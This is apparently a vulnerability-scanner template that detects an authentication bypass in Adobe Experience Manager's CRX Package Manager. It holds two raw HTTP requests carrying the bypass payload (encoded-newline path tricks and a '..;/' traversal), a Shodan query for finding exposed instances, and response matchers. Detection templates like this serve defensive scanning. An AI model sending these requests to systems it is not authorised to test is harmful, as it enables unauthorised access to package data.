aem-crx-bypass: AEM Package Manager - Authentication Bypass

id: aem-crx-bypass

info:
  name: AEM Package Manager - Authentication Bypass
  author: dhiyaneshDK
  severity: critical
  description: Adobe Experience Manager Package Manager is susceptible to a hard to exploit authentication bypass issue. This issue only potentially impacts AEM on-premise or AEM as a Managed Service if default security configurations are removed.
  remediation: "Adobe recommends AEM customers review access controls for the CRX package manager path: /etc/packages."
  reference:
    - https://labs.detectify.com/2021/06/28/aem-crx-bypass-0day-control-over-some-enterprise-aem-crx-package-manager/
  classification:
    cpe: cpe:2.3:a:adobe:experience_manager:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: adobe
    product: experience_manager
    shodan-query: http.component:"Adobe Experience Manager"
  tags: aem,adobe,misconfig,vuln

http:
  - raw:
      - |
        GET /crx/packmgr/list.jsp;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0aa.css?_dc=1615863080856&_charset_=utf-8&includeVersions=true HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}
        Accept-Encoding: gzip, deflate
      - |
        GET /content/..;/crx/packmgr/list.jsp;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0aa.css?_dc=1615863080856&_charset_=utf-8&includeVersions=true HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}
        Accept-Encoding: gzip, deflate

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'buildCount'
          - 'downloadName'
          - 'acHandling'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200
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